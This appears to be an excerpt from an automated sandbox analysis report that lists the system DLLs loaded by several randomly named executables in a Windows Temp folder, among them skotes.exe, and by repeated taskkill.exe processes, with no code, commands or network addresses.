Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
